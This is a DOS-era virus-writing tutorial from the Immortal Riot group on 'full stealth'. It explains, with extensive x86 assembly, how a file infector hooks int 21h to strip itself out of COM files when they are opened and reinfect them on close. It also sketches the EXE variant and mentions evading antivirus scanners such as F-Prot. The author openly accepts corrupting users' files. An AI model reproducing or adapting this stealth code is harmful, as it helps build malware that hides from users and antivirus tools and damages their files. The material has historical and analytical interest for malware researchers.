255 lines
9.8 KiB
Plaintext
255 lines
9.8 KiB
Plaintext
% Full stealth tutorial by Blonde %
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
What follows is kinda tutorial of disinfection-stealth. It
|
|
doesn't cover any *redirection* stealth (such as the one Bluenine
|
|
in IR#6 uses), and quite frankly it might not be the best tutorial
|
|
the vx-community has seen, but we can always hope it's for some
|
|
gain to someone.
|
|
|
|
Alternative code how physical disinfection can be done is presented
|
|
in my Hybris virus, which also is a bit more optimized than this one :-).
|
|
Nevertheless, this is the very same technique my Petra.1308 virus used,
|
|
so atleast it works..
|
|
|
|
I've edited this one a bit (Yea, I know it doesn't look like I did,
|
|
but I did!) and well, we can always hope Mr.Blonde will write his
|
|
next tutorial in a sober-mode :-).
|
|
|
|
- The Unforgiven.
|
|
|
|
|
|
|
|
|
|
- Full Stealth or Disinfection on open -
|
|
Written by Blonde/Immortal Riot
|
|
|
|
|
|
|
|
|
|
|
|
Introduction
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
Okey, this is for those guys who've already made an effective size-stealth
|
|
and want some more or those who just like reading ;)
|
|
|
|
Full stealth for me is when you completely remove the virus from the file.
|
|
Preferebly done when you open it. The idea behind this is ofcourse that it
|
|
will be harder to spot and it is for the common users, but thats all we want
|
|
isn't it?
|
|
|
|
What's very important when using disinfection is to infect on close or else
|
|
you'll of course end up with some major problems ;) Okey, this is a bit more
|
|
complex than the size stealth I discussed in my earlier article and I'm not
|
|
a teacher so this can be quite hard to understand.
|
|
|
|
I'll mainly go through the disinfection of a COM file, but with
|
|
pseudo code for EXE files as well. All code presented will though be COM-
|
|
only.
|
|
|
|
The basic idea behind disinfection of COM-files is to first of all check
|
|
if the file is infected by your virus, then simply restore what we've changed
|
|
in the file, that is the first 3-5 bytes in a COM and then simply truncate
|
|
the file at (filesize-virussize).
|
|
|
|
As for EXE-files the scenario is exactly the same, restore what you
|
|
changed in the EXE-header rewrite it to the file... and truncate it.
|
|
|
|
|
|
To succeed in these matters you'll have to hook int 21h and tap ah=3d (open)
|
|
|
|
|
|
Check-For-Infection
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
disinfect_3d: ;called by our int handler if ah=3dh
|
|
|
|
;Upon entry to ah=3Dh ds:dx points to the filename...
|
|
|
|
|
|
push ax bx cx dx di si ds es ;save registers in use
|
|
|
|
push ds
|
|
pop es ;es=ds
|
|
mov di,dx
|
|
mov al,'.'
|
|
mov cx,64
|
|
repne scasb ;this will repeatedly scan byte by byte for
|
|
; '.' in the filename stored in ds:dx=es:di
|
|
;di will then point to offset of '.'+1
|
|
|
|
cmp word ptr ds:[di],'OC'
|
|
jne nocom
|
|
cmp word ptr ds:[di],'M'
|
|
je openfile ;check if it is a com... if it wasn't
|
|
nocom:
|
|
jmp not_opened ;it wasn't a *.com file so don't
|
|
;disinfect
|
|
|
|
openfile: ;com-file being opened!
|
|
pushf
|
|
push cs
|
|
mov ax,3d02h
|
|
call org21h ;open file in read/write mode
|
|
jc nocom ; error ==> bail out
|
|
|
|
xchg ax,bx
|
|
|
|
push cs cs ;cs=ds=es
|
|
pop es ds
|
|
|
|
mov ax,5700h ;get file's time & date
|
|
int 21h
|
|
push cx ;save time &
|
|
push dx ;date on the stack
|
|
|
|
read_4f:
|
|
mov ah,3fh ;just read the firstfour bytes to
|
|
mov cx,4 ;a buffer.
|
|
mov dx,(hostbytes-vstart)
|
|
int 21h
|
|
|
|
chk_4_markers:
|
|
cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar
|
|
|
|
jne close_file ;is a jmp (e9)
|
|
;if not ==> bail!
|
|
|
|
cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker?
|
|
|
|
jne close_file ; if not ==> bail!
|
|
|
|
|
|
That was the first part of the disinfection routine, the part that check if
|
|
the file *really* is infected. In a nutshell, the code works like this:
|
|
|
|
First of all we want to check if the file first of all is a COM/EXE file.
|
|
|
|
What we did was simply to scan ds:dx for the '.' which separates the filename
|
|
from the file extension and then compare it to COM/EXE (the code only checks
|
|
for com's, but you can fix that ;). That'll be sufficent to determine if it
|
|
was a COM/EXE file...
|
|
|
|
The next step would be to check if the COM/EXE file really is infected.
|
|
This can be done in diffrent ways and some more secure than others, but what
|
|
I've done in this code is to read the first four bytes and check the first
|
|
against a jmp instruction (the one which jumps to the first instruction in
|
|
the main virus-code) and then check the fourth against 'fileid' a byte which
|
|
I write to every file I infect... com only of course.
|
|
|
|
That should do it. To be even more secure one could check for size and
|
|
even stealth markers (like seconds) and such, but I don't think it's so
|
|
very likely that a com file starts first with a jmp and then as the forth
|
|
byte have another byte equal to what we want... Ah well it might corrupt
|
|
some files, but who cares? ;)
|
|
|
|
Note that we don't do a regular open, since that would be recursive we have to
|
|
call the original interrupt handler directly...
|
|
|
|
To do the same for EXE-files is almost as easy... read the whole header
|
|
(be sure to save the header-information in the file for this purpose,
|
|
don't do any heap-optimizing) and check against your markers maybe the
|
|
prelocated SP or maybe the negative checksum or whatever... then continue
|
|
with the disinfection where we left the com files...
|
|
|
|
Restore Init-Bytes
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
read_hostbytes:
|
|
mov ax,4202h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h ;ax=fsize
|
|
|
|
push ax ;push fsize.. used lateron...
|
|
;if exe then push dx too
|
|
xchg ax,dx
|
|
|
|
sub dx,(vend-hbytes)
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
int 21h ;goto dx in files...
|
|
|
|
mov ah,40h
|
|
mov cx,4
|
|
mov dx,(hbytes-vstart)
|
|
int 21h ;read host bytes from end of file...
|
|
|
|
This is the part where you fetch the original values of infected file. Since
|
|
this is important, also remember to leave the original bytes un-encrypted if
|
|
the virus is encrypted. Else you'll have to decrypt them, which is pretty
|
|
stupid. Encrypted full-stealth viruses might be considered a bit overdoing it,
|
|
but well, that's up to you to decide. It's also wise to place the init-bytes
|
|
at the end-of the file because that makes file-seek's operations shorter.
|
|
|
|
Well anyways, first get the filesize in ax then load it in dx and sub dx with
|
|
the byte difference from the very end of the virus to the begining of
|
|
the hostbytes (in this case 4...) then go to that offset in the file ie.
|
|
four bytes from the end and then read those four bytes which are the files
|
|
original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use
|
|
a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore
|
|
differences. you'll just have to sub/read the appropriate number of bytes...
|
|
|
|
The next step will be to restore those bytes to the begining of the file...
|
|
|
|
mov ax,4200h
|
|
xor cx,cx
|
|
cwd
|
|
int 21h ;go to beginning of file...
|
|
|
|
mov ah,40h
|
|
mov dx,(hbytes-vstart)
|
|
mov cx,4
|
|
int 21h ;restore them
|
|
|
|
Well that' obvious, wasn't it?
|
|
The EXE version would only differ if you didn't save the whole EXE-header,
|
|
because then you would have to read it, then restore the real values and
|
|
re-write it to file then... therefor is it easier to simply write the whole
|
|
EXE-header to the end of the infected file, but that'll of course increase
|
|
the size of the virus.
|
|
|
|
Remove the virus from the host-file
|
|
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
|
To truncate the file at filesize-virussize we do this...
|
|
|
|
pop dx ;this was push'd two snippets up and it's the file-size
|
|
;should also pop cx if it was an exe
|
|
|
|
mov ax,4200h
|
|
sub dx,virusize ;subtract the virus-size from the filesize
|
|
int 21h ;go to filsize-virusize
|
|
|
|
truncate:
|
|
mov ah,40h
|
|
xor cx,cx
|
|
int 21h ;this is the trick. to truncate simply write zero bytes
|
|
;to the file...
|
|
|
|
Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE)
|
|
and then sub it with the virus size (don't forget sbb cx,0 if EXE...)
|
|
Then go to that offset and write zero bytes to it, that'll truncate it...
|
|
|
|
close_dis:
|
|
mov ax,5701h
|
|
pop dx cx
|
|
int 21h ;restore time/date stamp
|
|
|
|
mov ah,3eh
|
|
pushf
|
|
push cs
|
|
call org21h ;close call to real int handler
|
|
|
|
no_opendis:
|
|
pop es ds si di dx cx bx ax
|
|
jmp org21h
|
|
|
|
You're finished! just restore the time/date stamp and close the file...
|
|
Just don't forget to close via a direct call to the real int 21 handler, since
|
|
you wouldn't want to re-infect the file ;) then we chain into the real dos
|
|
open since the virus has been removed!
|
|
|
|
This code will successfully disinfect any file opened by ah=3Dh/int 21h, but
|
|
there are other ways of opening files, one of them is extended open which
|
|
F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll
|
|
have to deal with some minor snags. Like loading ds:dx with filename ... If
|
|
you're intrested check out Salamander Four...
|
|
|